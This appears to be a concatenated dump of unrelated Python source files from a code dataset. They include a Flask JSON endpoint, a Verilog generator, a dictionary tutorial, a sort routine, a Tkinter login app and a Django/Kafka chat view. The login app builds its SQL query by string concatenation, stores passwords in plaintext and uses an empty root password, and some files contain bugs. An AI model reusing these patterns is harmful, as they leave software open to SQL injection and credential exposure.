\n \n \"\"\"\n\n@app.route(\"/json\", methods=[\"GET\"])\ndef json_get():\n response = ''\n with open(\"example.json\") as f:\n response = make_response(\n json.load(f),\n 200\n )\n response.headers.add('Content-Type', 'application/json')\n return response\n\n@app.route(\"/json\", methods=[\"POST\"])\ndef json_post():\n if request.json is not None:\n if request.json[\"title\"] is not None and request.json[\"body\"] is not None:\n the_json = {\n \"title\": request.json[\"title\"],\n \"body\": request.json[\"body\"]\n }\n with open(\"example.json\", \"w\") as f:\n json.dump(the_json, f)\n return make_response(json.dumps({\"JSON\": \"overwritten\"}), 201)\n else:\n return make_response(json.dumps({\"error\": \"JSON incorrectly formatted\"}), 400)\n else:\n return make_response(json.dumps({\"error\": \"JSON not included with request\"}))\n\n\nif __name__ == \"__main__\":\n app.run(port=7777)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"414779017","text":"#! /usr/bin/env python3\n\n### @file codegen.py\n### @brief Verilog-HDL 記述を出力するクラス\n### @author Yusuke Matsunaga (松永 裕介)\n###\n### Copyright (C) 2020 Yusuke Matsunaga\n### All rights reserved.\n\nclass CodeGen2 :\n\n ### @brief 初期化\n def __init__(self, fout) :\n self.__fout = fout\n\n ### @brief コード出力\n def generate(self, unit_mgr, module_name, op1_module_name, op2_module_name) :\n io_list = [\n 'input clock',\n 'input reset',\n 'input start',\n 'output busy',\n ]\n\n # 入力用メモリの諸元\n iblock_num = unit_mgr.imem_layout.block_num\n ibank_num = unit_mgr.imem_layout.bank_num\n ibank_bw = 0\n while (1 << ibank_bw) < ibank_num :\n ibank_bw += 1\n ibank_size = unit_mgr.imem_layout.bank_size\n\n # imem の i 番目のバンク選択信号線名\n imem_bank_name_list = [ 'imem{:02d}_bank'.format(i) for i in range(iblock_num) ]\n\n # imem の i 番目の読み出し制御信号\n imem_rd_name_list = [ 'imem{:02d}_rd'.format(i) for i in range(iblock_num) ]\n\n # imem の i 番目の出力ポート\n imem_in_name_list = [ 'imem{:02d}_in'.format(i) for i in range(iblock_num) ]\n\n # imem のビット幅\n imem_bw = 4\n imem_bank_bw = imem_bw * unit_mgr.imem_layout.bank_size\n for i in range(iblock_num) :\n if ibank_bw > 0 :\n io_list.append('output [{}:0] {}'.format(ibank_bw - 1, imem_bank_name_list[i]))\n io_list.append('output {}'.format(imem_rd_name_list[i]))\n #\n io_list.append('input [{}:0] {}'.format(imem_bank_bw - 1, imem_in_name_list[i]))\n\n # 出力用メモリの諸元\n oblock_num = unit_mgr.omem_layout.block_num\n obank_num = unit_mgr.omem_layout.bank_num\n obank_bw = 0\n while (1 << obank_bw) < obank_num :\n obank_bw += 1\n obank_size = unit_mgr.omem_layout.bank_size\n\n # omem の i 番目のバンク選択信号線名\n omem_bank_name_list = [ 'omem{:02d}_bank'.format(i) for i in range(oblock_num) ]\n\n # omem の i 番目の書込み制御信号\n omem_wr_name_list = [ 'omem{:02d}_wr'.format(i) for i in range(oblock_num) ]\n\n # omem の i 番目の入力ポート\n omem_out_name_list = [ 'omem{:02d}_out'.format(i) for i in range(oblock_num) ]\n\n # omem のビット幅\n omem_bw = 9\n for i in range(oblock_num) :\n if obank_bw > 0 :\n io_list.append('output [{}:0] {}'.format(obank_bw - 1, omem_bank_name_list[i]))\n io_list.append('output {}'.format(omem_wr_name_list[i]))\n io_list.append('output [{}:0] {}'.format(omem_bw - 1, omem_out_name_list[i]))\n\n # モジュールの開始\n self.__begin_module(module_name, io_list)\n\n # unit との対応付け\n src_name_dict = dict()\n\n # 入力メモリ用の信号線名の登録\n for lu in unit_mgr.load_unit_list :\n block_id = lu.block_id\n offset = lu.offset\n lsb = offset * imem_bw\n msb = lsb + imem_bw - 1\n in_name = '{}[{}:{}]'.format(imem_in_name_list[block_id], msb, lsb)\n src_name_dict[lu.id] = in_name\n\n # OP1 モジュールのインスタンス宣言\n nop1 = unit_mgr.op1_num\n # i 番目の OP1 のインスタンス名\n op1_name_list = list()\n # i 番目の OP1 の j 番目の入力信号線\n op1_in_name_list = list()\n # i 番目の OP1 の j 番目の入力反転制御信号線\n op1_inv_name_list = list()\n\n op1_in_bw = 4\n op1_out_bw = 9\n for i in range(nop1) :\n op1 = unit_mgr.op1(i)\n self.__fout.write('\\n')\n self.__fout.write(' // {} 番目の OP1\\n'.format(i))\n in_name_list = list()\n inv_name_list = list()\n for j in range(op1.input_num) :\n in_name = 'op1_{:02d}_in{:02d}'.format(i, j)\n in_name_list.append(in_name)\n inv_name = 'op1_{:02d}_inv{:02d}'.format(i, j)\n inv_name_list.append(inv_name)\n self.__fout.write(' reg [{}:0] {};\\n'.format(op1_in_bw - 1, in_name))\n self.__fout.write(' reg {};\\n'.format(inv_name))\n op1_in_name_list.append(in_name_list)\n op1_inv_name_list.append(inv_name_list)\n out_name = 'op1_{:02d}_out'.format(i)\n self.__fout.write(' wire [{}:0] {};\\n'.format(op1_out_bw - 1, out_name))\n op1_name = 'op1_{:02d}'.format(i)\n op1_name_list.append(op1_name)\n self.__fout.write(' {} {}(\\n'.format(op1_module_name, op1_name))\n for j in range(op1.input_num) :\n self.__fout.write(' .data{}_in({}),\\n'.format(j, op1_in_name_list[i][j]))\n self.__fout.write(' .inv{}_in({}),\\n'.format(j, op1_inv_name_list[i][j]))\n self.__fout.write(' .data_out({}));\\n'.format(out_name))\n src_name_dict[op1.id] = out_name\n\n # OP2 モジュールのインスタンス宣言\n nop2 = unit_mgr.op2_num\n # i 番目の OP2 のインスタンス名\n op2_name_list = list()\n # i 番目の OP2 の j 番目の入力信号線\n op2_in_name_list = list()\n # i 番目の OP2 のバイアス信号線\n op2_bias_name_list = list()\n\n op2_in_bw = 9\n op2_out_bw = 9\n for i in range(nop2) :\n op2 = unit_mgr.op2(i)\n self.__fout.write('\\n')\n self.__fout.write(' // {} 番目の OP2\\n'.format(i))\n in_name_list = list()\n for j in range(op2.input_num) :\n in_name = 'op2_{:02d}_in{:02d}'.format(i, j)\n in_name_list.append(in_name)\n self.__fout.write(' reg [{}:0] {};\\n'.format(op2_in_bw - 1, in_name))\n op2_in_name_list.append(in_name_list)\n bias_name = 'op2_{:02d}_bias'.format(i)\n op2_bias_name_list.append(bias_name)\n self.__fout.write(' reg [{}:0] {};\\n'.format(op2_in_bw - 1, bias_name))\n out_name = 'op2_{:02d}_out'.format(i)\n self.__fout.write(' wire [{}:0] {};\\n'.format(op2_out_bw - 1, out_name))\n op2_name = 'op2_{:02d}'.format(i)\n op2_name_list.append(op2_name)\n self.__fout.write(' {} {}(\\n'.format(op2_module_name, op2_name))\n for j in range(op2.input_num) :\n self.__fout.write(' .data{}_in({}),\\n'.format(j, op2_in_name_list[i][j]))\n self.__fout.write(' .data{}_in({}),\\n'.format(op2.input_num, bias_name))\n self.__fout.write(' .data_out({}));\\n'.format(out_name))\n src_name_dict[op2.id] = out_name\n\n # レジスタの宣言\n reg_bw = 9\n nreg = unit_mgr.reg_num\n # i 番目のレジスタ名\n reg_name_list = [ ]\n self.__fout.write('\\n')\n self.__fout.write(' // 中間レジスタ\\n')\n for i in range(nreg) :\n reg_name = 'reg_{:04d}'.format(i)\n reg_name_list.append(reg_name)\n self.__fout.write(' reg [{}:0] {};\\n'.format(reg_bw - 1, reg_name))\n reg = unit_mgr.reg(i)\n src_name_dict[reg.id] = reg_name\n\n # 制御マシンの状態\n nstep = unit_mgr.total_step\n state_bw = 0\n while (1 << state_bw) < nstep :\n state_bw += 1\n self.__fout.write('\\n')\n self.__fout.write(' // 制御マシンの状態\\n')\n self.__fout.write(' reg [{}:0] state;\\n'.format(state_bw - 1))\n self.__fout.write(' reg _busy;\\n')\n self.__fout.write(' assign busy = _busy;\\n')\n self.__fout.write(' // 制御マシンの動作\\n')\n self.__fout.write(' always @ ( posedge clock or negedge reset ) begin\\n')\n self.__fout.write(' if ( !reset ) begin\\n')\n self.__fout.write(' _busy <= 0;\\n')\n self.__fout.write(' state <= 0;\\n')\n self.__fout.write(' end\\n')\n self.__fout.write(' else if ( _busy ) begin\\n')\n self.__fout.write(' if ( state < {} ) begin\\n'.format(nstep - 1))\n self.__fout.write(' state <= state + 1;\\n')\n self.__fout.write(' end\\n')\n self.__fout.write(' else begin\\n')\n self.__fout.write(' _busy <= 0;\\n')\n self.__fout.write(' state <= 0;\\n')\n self.__fout.write(' end\\n')\n self.__fout.write(' end\\n')\n self.__fout.write(' else if ( start ) begin\\n')\n self.__fout.write(' _busy <= 1;\\n')\n self.__fout.write(' end\\n')\n self.__fout.write(' end\\n')\n\n # 入力用メモリの制御\n for lm in unit_mgr.load_memory_list :\n bank_name = imem_bank_name_list[lm.block_id]\n tmp_name = '_{}'.format(bank_name)\n self.__fout.write('\\n')\n self.__fout.write(' // {}番目の入力用メモリブロックの制御\\n'.format(lm.block_id))\n self.__fout.write(' reg [{}:0] {};\\n'.format((ibank_bw - 1), tmp_name))\n src_dict = dict()\n for step, bank in lm.bank_dict.items() :\n src_dict[step] = bank\n self.__gen_control(tmp_name, src_dict, 0)\n self.__fout.write(' assign {} = {};\\n'.format(bank_name, tmp_name))\n\n rd_name = imem_rd_name_list[lm.block_id]\n tmp_name = '_{}'.format(rd_name)\n self.__fout.write(' reg {};\\n'.format(tmp_name))\n src_dict = dict()\n for step, bank in lm.bank_dict.items() :\n src_dict[step] = 1\n self.__gen_control(tmp_name, src_dict, 0)\n self.__fout.write(' assign {} = {};\\n'.format(rd_name, tmp_name))\n\n # 出力用メモリの制御\n for sm in unit_mgr.store_memory_list :\n bank_name = omem_bank_name_list[sm.block_id]\n tmp_name = '_{}'.format(bank_name)\n self.__fout.write('\\n')\n self.__fout.write(' // {}番目の出力用メモリブロックの制御\\n'.format(sm.block_id))\n self.__fout.write(' reg [{}:0] {};\\n'.format((obank_bw - 1), tmp_name))\n src_dict = dict()\n for step, bank in sm.bank_dict.items() :\n src_dict[step] = bank\n self.__gen_control(tmp_name, src_dict, 0)\n self.__fout.write(' assign {} = {};\\n'.format(bank_name, tmp_name))\n\n wr_name = omem_wr_name_list[sm.block_id]\n tmp_name = '_{}'.format(wr_name)\n self.__fout.write(' reg {};\\n'.format(tmp_name))\n src_dict = dict()\n for step, bank in sm.bank_dict.items() :\n src_dict[step] = 1\n self.__gen_control(tmp_name, src_dict, 0)\n self.__fout.write(' assign {} = {};\\n'.format(wr_name, tmp_name))\n\n for su in unit_mgr.store_unit_list :\n sm = su.block\n out_name = omem_out_name_list[sm.block_id]\n tmp_name = '_{}'.format(out_name)\n self.__fout.write(' reg [{}:0] {};\\n'.format(reg_bw - 1, tmp_name))\n src_dict = dict()\n mux = su.mux_spec(0)\n for src in mux.src_list :\n for step in mux.src_cond(src) :\n if src.name == 'THROUGH' :\n src_name = src_name_dict[src.src.id]\n else :\n src_name = src_name_dict[src.id]\n src_dict[step] = src_name\n self.__gen_control(tmp_name, src_dict, 0)\n self.__fout.write(' assign {} = {}[{}:0];\\n'.format(out_name, tmp_name, omem_bw - 1))\n\n # OP1 の制御\n for op_id in range(nop1) :\n op1 = unit_mgr.op1(op_id)\n for i in range(op1.input_num) :\n self.__fout.write('\\n')\n self.__fout.write(' // OP1#{}の{}番目の入力\\n'.format(op_id, i))\n mux = op1.mux_spec(i)\n in_name = op1_in_name_list[op_id][i]\n src_dict = dict()\n for src in mux.src_list :\n for step in mux.src_cond(src) :\n src_name = src_name_dict[src.id]\n src_dict[step] = src_name\n self.__gen_control(in_name, src_dict, 0);\n\n self.__fout.write('\\n')\n self.__fout.write(' // OP1#{}の{}番目の入力反転\\n'.format(op_id, i))\n inv_name = op1_inv_name_list[op_id][i]\n src_dict = dict()\n for step in op1.inv_cond(i) :\n src_dict[step] = 1\n self.__gen_control(inv_name, src_dict, 0)\n\n # OP2 の制御\n for op2 in unit_mgr.op2_list :\n for i in range(op2.input_num) :\n self.__fout.write('\\n')\n self.__fout.write(' // OP2#{}の{}番目の入力\\n'.format(op2.op_id, i))\n mux = op2.mux_spec(i)\n in_name = op2_in_name_list[op2.op_id][i]\n src_dict = dict()\n for src in mux.src_list :\n for step in mux.src_cond(src) :\n src_name = src_name_dict[src.id]\n src_dict[step] = src_name\n self.__gen_control(in_name, src_dict, 0)\n\n self.__fout.write('\\n')\n self.__fout.write(' // OP2#{}のバイアス入力\\n'.format(op2.op_id))\n bias_name = op2_bias_name_list[op2.op_id]\n src_dict = dict()\n for step, bias in op2.bias_map.items() :\n src_dict[step] = bias\n self.__gen_control(bias_name, src_dict, 0)\n\n # レジスタの制御\n for reg in unit_mgr.reg_list :\n self.__fout.write('\\n')\n self.__fout.write(' // REG#{}の入力\\n'.format(reg.reg_id))\n self.__fout.write(' always @ ( posedge clock ) begin\\n')\n self.__fout.write(' case ( state )\\n')\n reg_name = src_name_dict[reg.id]\n for step, src in reg.src_map.items() :\n src_name = src_name_dict[src.id]\n self.__fout.write(' {}: {} <= {};\\n'.format(step, reg_name, src_name))\n self.__fout.write(' endcase\\n')\n self.__fout.write(' end\\n')\n\n # モジュールの終了\n self.__end_module()\n\n ### @brief テストベンチの生成を行う.\n def gen_testbench(self, unit_mgr) :\n self.__begin_module('affine_test', list())\n\n self.__fout.write(' // クロック周期(ns)\\n')\n self.__fout.write(' integer clock_length = 100;\\n')\n self.__fout.write('\\n')\n self.__fout.write(' // クロックエッジからのマージン\\n')\n self.__fout.write(' integer clock_margin = 10;\\n')\n self.__fout.write('\\n')\n self.__fout.write(' reg clock;\\n')\n self.__fout.write(' reg reset;\\n')\n self.__fout.write(' reg start;\\n')\n self.__fout.write(' wire busy;\\n')\n\n # 入力用メモリの諸元\n iblock_num = unit_mgr.imem_layout.block_num\n ibank_num = unit_mgr.imem_layout.bank_num\n ibank_bw = 0\n while (1 << ibank_bw) < ibank_num :\n ibank_bw += 1\n ibank_size = unit_mgr.imem_layout.bank_size\n\n # affine モジュールのインスタンス\n for i in range(iblock_num) :\n self.__fout.write(' wire [{}:0] {};\\n'.format(ibank_bw - 1, imem_bank_name_list[i]))\n self.__fout.write(' wire [{}:0] {};\\n'.format(imem_bw - 1, imem_in_name_list[i][j]))\n\n self.__end_module()\n\n\n ### @brief モジュールの先頭\n def __begin_module(self, module_name, io_list) :\n self.__fout.write('module {}('.format(module_name))\n nio = len(io_list)\n if nio > 0 :\n self.__fout.write('\\n')\n for i, io in enumerate(io_list) :\n self.__fout.write(' {}'.format(io))\n if i < nio - 1 :\n self.__fout.write(',\\n')\n self.__fout.write(');\\n')\n self.__fout.write('\\n')\n\n\n ### @brief モジュールの終了\n def __end_module(self) :\n self.__fout.write('endmodule\\n')\n\n ### @brief step をパラメータにした組み合わせ回路記述\n def __gen_control(self, target_name, src_dict, default) :\n self.__fout.write(' always @ ( * ) begin\\n')\n self.__fout.write(' case ( state )\\n')\n for step, src_name in src_dict.items() :\n self.__fout.write(' {}: {} = {};\\n'.format(step, target_name, src_name))\n if default is not None :\n self.__fout.write(' default: {} = {};\\n'.format(target_name, default))\n self.__fout.write(' endcase\\n')\n self.__fout.write(' end // always @ ( * )\\n')\n\n\nif __name__ == '__main__' :\n import sys\n import os\n import random\n import argparse\n from op import Op\n from scheduling import scheduling\n from mem_layout import MemLayout\n from binder import bind\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--count', type = int, default = 1000)\n parser.add_argument('file', type = argparse.FileType('rt'))\n\n args = parser.parse_args()\n if not args :\n exit(1)\n\n op_list = Op.read(args.file)\n if op_list is None :\n print('read failed.')\n exit(1)\n\n # メモリサイズの計算\n mem_size = 0\n for op in op_list :\n for i_id, w in op.fanin_list :\n if mem_size < i_id :\n mem_size = i_id\n mem_size += 1\n\n #block_num = 24\n block_num = 12\n bank_size = 32\n #print('Block num: {}'.format(block_num))\n #print('Bank Size: {}'.format(bank_size))\n\n bsize = block_num * bank_size\n imemory_size = ((mem_size + bsize - 1) // bsize) * bsize\n imem_layout = MemLayout(imemory_size, block_num, bank_size)\n omemory_size = len(op_list)\n oblock_num = 8\n obank_size = 1\n omem_layout = MemLayout(omemory_size, oblock_num, obank_size)\n oaddr_list = [ i for i in range(omemory_size) ]\n\n op_limit = 16\n s_method = 2\n dfg = scheduling(op_list, op_limit, imem_layout, omem_layout, s_method)\n #dfg.print()\n unit_mgr = bind(dfg)\n #unit_mgr.print(sys.stdout)\n\n codegen = CodeGen(sys.stdout)\n module_name = 'affine'\n codegen.generate(unit_mgr, module_name)\n","sub_path":"py-src/afsyn/codegen2.py","file_name":"codegen2.py","file_ext":"py","file_size_in_byte":18444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"210815096","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 14 09:08:35 2017\n\n@author: baradhwaj\n\"\"\"\n#### Create New Dictionary ###########################\ndict = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}\n\n##Access Items with Key######\nprint('Name: ' , dict['Name'])\n\n### Update item in dict with key ##################3\ndict['Age'] = 8; # update existing entry\n\n#########Add item to existng dict\ndict['School'] = \"DPS School\"; # Add new entry\nprint(dict)\n\n###### Delete Dictionary items##############\ndel dict['Name'] ## delete based on key\nprint(dict)\ndict.clear() ## flushes the content in dictionary\ndel dict; # deletes the dictionary\n\n########## Duplicate Keys Behavior###########\ndict = {'Name': 'Zara', 'Age': 7, 'Name': 'Manni'} \n#2 names here:manni overrides zara\nprint (\"dict['Name']: \", dict['Name'])\n\n#########Keys are immutable : permitted datatypes : string,int ,tuple#########\ndict = {['Name']: 'Zara', 'Age': 7}\nprint (\"dict['Name']: \", dict['Name']) # throws error since key cant be list\n\n##########Built in funcgtionalities of dictionary ###########################\n#### Length#####\ndict1 = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}\ndict2 = {'Name': 'Dora', 'Age': 3, 'Class': 'PKG'}\nlen(dict1)\ncompare(dict1,dict2) ######Clarification\n\n#########GET####\ndict1.get('Name')\n### HAs KEy\ndict1.has_key('Age') ### clarification####\n\n####Dict update with another dict\ndict3 = {'Gender' : 'F',}\ndict1.update(dict3)## update is used to add aattributes that are not in the other dictionary\nprint(dict1)\nprint(dict1.keys()) # prints all keys\nprint(dict1.items()) # prints all items\nprint(dict1.setdefault('Age',None)) # gets the default value else set none\n\n########## From key : creates new dict with user gicven input\n# vowels keys\nkeys = {'a', 'e', 'i', 'o', 'u' }\nvowels = dict.fromkeys(keys)\nprint(vowels) # Note: values here are null coz we dint set any\n\n# vowels keys\nkeys = {'a', 'e', 'i', 'o', 'u' }\nvalue = 'vowel'\nvowels = dict.fromkeys(keys,value)\nprint(vowels)\n\n### dictionaries with immutable values ########\n# vowels keys\nkeys = {'a', 'e', 'i', 'o', 'u' }\nvalue = [1]\nvowels = dict.fromkeys(keys, value)\nprint(vowels)\n# updating the value\nvalue.append(2) # creates a new dict entry with value appended to 2 ie [1,2],a\nprint(vowels)\n\n##################Pop################\nsales = { 'apple': 2, 'orange': 3, 'grapes': 4 }\nelement = sales.pop('apple') # returns the item key poped\nprint('The popped element is:', element)\n\nprint('The dictionary is:', sales)\n#If key is not found - value specified as the second argument (default)\nles = { 'apple': 2, 'orange': 3, 'grapes': 4 }\nelement = sales.pop('kiwi','apple')\nprint('The popped element is:', element)\nprint('The dictionary is:', sales)\n#popitem() returns and removes an arbitrary element(key,value)pair from dict.\nperson = {'name': 'Phill', 'age': 22, 'salary': 3500.0}\nresult = person.popitem()\nprint('person = ',person)\nprint('Return Value = ',result)\n##############Iterating in dictionary################3333\nd = {\"a\":123, \"b\":34, \"c\":304, \"d\":99}\nfor key in d.keys():\n print(key)\n \n#### COnvert list to dictionaries\ndishes = [\"pizza\", \"sauerkraut\", \"paella\", \"hamburger\"]\ncountries = [\"Italy\", \"Germany\", \"Spain\", \"USA\"]\nfoodFromCountry = zip(dishes,countries) \nprint(foodFromCountry)## This is an iterator cannot be printed\nlst =list(foodFromCountry)\n# to Print convert to .list()\nprint(list(foodFromCountry))\nimport builtins as bl ## builtins package needs to be imported for \ndictFfromC = bl.dict(lst)\nprint(dictFfromC)\n\n### One list has elemts more than the other list. The exceeding element is discarded\ndishes = [\"pizza\", \"sauerkraut\", \"paella\", \"hamburger\",'dosa']\ncountries = [\"Italy\", \"Germany\", \"Spain\", \"USA\"]\n#foodFromCountry = zip(dishes,countries)\nimport builtins as bl ## builtins package needs to be imported for \ndictFfromC = bl.dict(zip(dishes,countries))\nprint(dictFfromC)\n################## End of dictionary ##################################","sub_path":"Self Learning/Dictionary/additionalLearningDictionary.py","file_name":"additionalLearningDictionary.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"17471393","text":"from random import randint\r\n\r\n\r\ndef sel(array):\r\n for i in range(len(array) - 1):\r\n m = i\r\n j = i + 1\r\n while j < len(array):\r\n if array[j] < array[m]:\r\n m = j\r\n j = j + 1\r\n array[i], array[m] = array[m], array[i]\r\n\r\n\r\na = []\r\nfor i in range(10):\r\n a.append(randint(1, 99))\r\n\r\nprint(a)\r\nsel(a)\r\nprint(a)\r\n","sub_path":"Курсовая работа. Часть 1. Методы сортировки/select.py","file_name":"select.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"238632645","text":"import tkinter\nfrom tkinter import*\nfrom tkinter import messagebox\nimport pymysql\nimport datetime\nimport tkinter as tk\n\nmenu_pantalla=tk.Tk()\n\ndef ventana():\n global ventana\n ventana=tk.Toplevel()\n \n ventana.geometry(\"800x900\")\n ventana.title(\"Bienvenido\")\n ventana.iconbitmap(\"empleados.ico\")\n ventana.configure(bg=\"bisque4\")\n \n\n lbltp=Label(ventana,text=\"Menú principal\", bg=\"medium spring green\", fg=\"white\", width=\"300\", height=\"3\",font=(\"Calibri\",15)).pack()\n\n\n botonp=Button(ventana,text=\"Menu del dia\", height=\"3\",width=\"30\").place(x=100,y=600)\n\n\n botonp=Button(ventana,text=\"Reservación de Mesa\", height=\"3\",width=\"30\").place(x=500,y=600)\n\n\n botonp=Button(ventana,text=\"Inventario\", height=\"3\",width=\"30\").place(x=100, y=750)\n\n\n botonp=tk.Button(menu_pantalla,text=\"Resgistro para entrada y \\n salida de empleados\", height=\"3\",width=\"30\",command= ventana).place(x=500, y= 750)\n\n ventana.mainloop()\n\n\n def menu_pantalla():\n global pantalla\n pantalla = tk.Toplevel()\n pantalla.geometry(\"300x380\")\n pantalla.title(\"Bienvenido1\")\n pantalla.iconbitmap(\"logo1.ico\")\n pantalla.configure(bg=\"gray\")\n\n\n image=PhotoImage(file=\"logo1.gif\")\n image=image.subsample(2,2)\n label=Label(image=image)\n label.pack()\n\n Label(text=\"Acceso al sistema\", bg=\"navy\", fg=\"white\", width=\"300\", height=\"3\",font=(\"Calibri\",15)).pack()\n Label(text=\"\").pack()\n\n Button(text=\"Iniciar Sesión\", height=\"3\",width=\"30\",command= inicio_sesion).pack()\n Label(text=\"\").pack()\n\n Button(text=\"Registrar usuario\", height=\"3\",width=\"30\",command=registrar).pack()\n\n pantalla.mainloop()\n\n\n def inicio_sesion():\n global pantalla1\n pantalla1= Toplevel(pantalla)\n pantalla1.geometry(\"400x250\")\n pantalla1.title(\"Inicio Sesion\")\n pantalla1.iconbitmap(\"logo1.ico\")\n\n Label(pantalla1, text=\"Por favor ingrese su Usario y Contraseña\\n\",bg=\"navy\", fg=\"white\", width=\"300\", height=\"3\",font=(\"Calibri\",15)).pack()\n Label(pantalla1, text=\"\").pack()\n\n global nombreusuario_verify\n global contrasenausuario_verify\n\n nombreusuario_verify=StringVar()\n contrasenausuario_verify=StringVar()\n\n global nombre_usuario_entry\n global contrasena_usuario_entry\n\n Label(pantalla1, text=\"Usuario\").pack()\n nombre_usuario_entry = Entry(pantalla1, textvariable=nombreusuario_verify)\n nombre_usuario_entry.pack()\n Label(pantalla1).pack()\n\n Label(pantalla1, text=\"Contraseña\").pack()\n contrasena_usuario_entry = Entry(pantalla1,show=\"*\", textvariable=contrasenausuario_verify)\n contrasena_usuario_entry.pack()\n Label(pantalla1).pack()\n\n Button(pantalla1, text=\"Iniciar Sesión\", command=validacion_datos).pack()\n\n def registrar():\n global pantalla2\n pantalla2= Toplevel(pantalla)\n pantalla2.geometry(\"400x250\")\n pantalla2.title(\"Registro Usuario\")\n pantalla2.iconbitmap(\"logo1.ico\")\n\n global nombreusuario_entry\n global contrasena_entry\n\n nombreusuario_entry=StringVar()\n contrasena_entry=StringVar()\n\n Label(pantalla2, text=\"Por favor ingrese un nombre de usuario y una contraseña \\n \",bg=\"navy\", fg=\"white\", width=\"300\", height=\"3\",font=(\"Calibri\",15)).pack()\n Label(pantalla2, text=\"\").pack()\n\n Label(pantalla2, text=\"Usuario\").pack()\n nombreusuario_entry = Entry(pantalla2)\n nombreusuario_entry.pack()\n Label(pantalla2).pack()\n\n Label(pantalla2, text=\"Contraseña\").pack()\n contrasena_entry = Entry(pantalla2,show=\"*\")\n contrasena_entry.pack()\n Label(pantalla2).pack()\n\n Button(pantalla2, text=\"Registrar\",command=inserta_datos).pack()\n\n def inserta_datos():\n bd=pymysql.connect(\n host=\"localhost\",\n user=\"root\",\n passwd=\"\",\n db=\"empleados\"\n )\n fcursor=bd.cursor()\n \n sql=\"INSERT INTO login (Usuario, Clave)VALUES('{0}','{1}')\".format(nombreusuario_entry.get(),contrasena_entry.get())\n try:\n fcursor.execute(sql)\n bd.commit()\n messagebox.showinfo(message=\"Registro Exitoso\", title=\"Aviso\")\n\n except:\n bd.rollback()\n messagebox.showinfo(message=\"Registro no Exitoso \", title=\"Aviso\")\n\n bd.close()\n \n ahora= datetime.datetime.now()\n def validacion_datos():\n bd=pymysql.connect(\n host=\"localhost\",\n user=\"root\",\n passwd=\"\",\n db=\"empleados\"\n )\n fcursor=bd.cursor()\n \n fcursor.execute(\"SELECT Clave FROM login WHERE Usuario='\"+nombreusuario_verify.get()+\"'and Clave='\"+contrasenausuario_verify.get()+\"'\")\n\n if fcursor.fetchall():\n messagebox.showinfo(title=\"inico de sesion correcto\", message=\"Usuario y contraseña correcta\")\n \n \n global pantalla3\n pantalla3 =tkinter.Toplevel()\n pantalla3.geometry(\"300x300\")\n pantalla3.title(\"Registro de ingreso o salida\")\n pantalla3.iconbitmap(\"logo1.ico\")\n pantalla3.configure(bg=\"grey\")\n\n \n def mensaje():\n \n messagebox.showinfo(title=\"Hora de entrada\", message= ahora)\n\n def mensaje2():\n \n messagebox.showinfo(title=\"Hora de salida\", message=ahora)\n\n \n lbltitulo=Label(pantalla3,text=\"Marque la entrada o salida\",bg=\"navy\", fg=\"white\", width=\"300\", height=\"3\",font=(\"Calibri\",15)).pack()\n boton= Button(pantalla3,text=\"Entrada\",height=\"5\",width=\"40\",command=mensaje).place(x=6, y=80)\n boton= Button(pantalla3,text=\"Salida\",height=\"5\",width=\"40\",command=mensaje2).place(x=6, y=200)\n \n \n \n else:\n messagebox.showinfo(title=\"inico de sesion incorrecto\", message=\"Usuario o contraseña incorrectos\")\n \n bd.close()\n \n \n \n \n \n\n menu_pantalla() \nventana() \n\n\n\n","sub_path":"todo/Menu_principal.py","file_name":"Menu_principal.py","file_ext":"py","file_size_in_byte":6233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"208198929","text":"from django.shortcuts import render\nfrom django.contrib.auth.models import User\nimport json\nfrom kafka import KafkaProducer\nfrom kafka import KafkaConsumer\nfrom .models import Chat\n#topic->user1_user2\n#topic->user2_user1\n\ndef chat_page(request, user2_pk):\n user1 = request.user\n user2 = User.objects.get(pk=user2_pk)\n # topic_name = user1.username + \"_\" + user2.username\n topic_name = user1.username + \"_\" + user2.username\n obj1 = Chat.objects.filter(from_user=user1, to_user=user2)\n if len(obj1) != 0:\n topic_name = obj1[0].chat_id\n obj2 = Chat.objects.filter(from_user=user2, to_user=user1)\n if len(obj2) !=0:\n topic_name = obj2[0].chat_id\n\n print(topic_name)\n if request.method == \"POST\":\n message = request.POST['message']\n message_dict = {\n \"from_user\": user1.username,\n \"to_user\": user2.username,\n \"message\": message,\n }\n message_json = json.dumps(message_dict)\n bootstrap_servers = ['localhost:9092']\n producer = KafkaProducer(bootstrap_servers=bootstrap_servers)\n producer.send(topic_name, bytearray(message_json, 'utf-8'))\n producer.flush()\n\n myKakfaConsumer(topic_name)\n\n chat = Chat.objects.filter(chat_id=topic_name,).all()\n\n context = {\n \"chat\":chat\n }\n return render(request, \"chat/chat.html\", context=context)\n\n\ndef myKakfaConsumer(topicName):\n bootstrap_servers = ['localhost:9092']\n consumer = KafkaConsumer(topicName, group_id='group2', bootstrap_servers=bootstrap_servers,\n auto_offset_reset=\"earliest\", consumer_timeout_ms=1000)\n for msg in consumer:\n print(\"start reading\")\n data = json.loads(msg.value)\n user1 = User.objects.get(username=data['from_user'])\n user2 = User.objects.get(username=data['to_user'])\n chat = Chat(chat_id=topicName, from_user=user1, to_user=user2, message=data['message'])\n chat.save()\n consumer.commit()\n print(\"end consumer\")","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"516012990","text":"import os\nimport subprocess\nimport sys\nimport ujson as json\n\nimport click\nfrom radiotool import composer as C\n\n\ndef speaker_wav(wav_fn, alignment_path, speaker):\n basename = \".\".join(os.path.basename(wav_fn).split('.')[:-1])\n\n alignment = json.load(open(alignment_path, 'r'))[\"words\"]\n\n c = C.Composition(channels=1)\n t = C.Track(wav_fn, speaker)\n c.add_track(t)\n\n score_loc = 0.0\n start = None\n end = None\n for word in 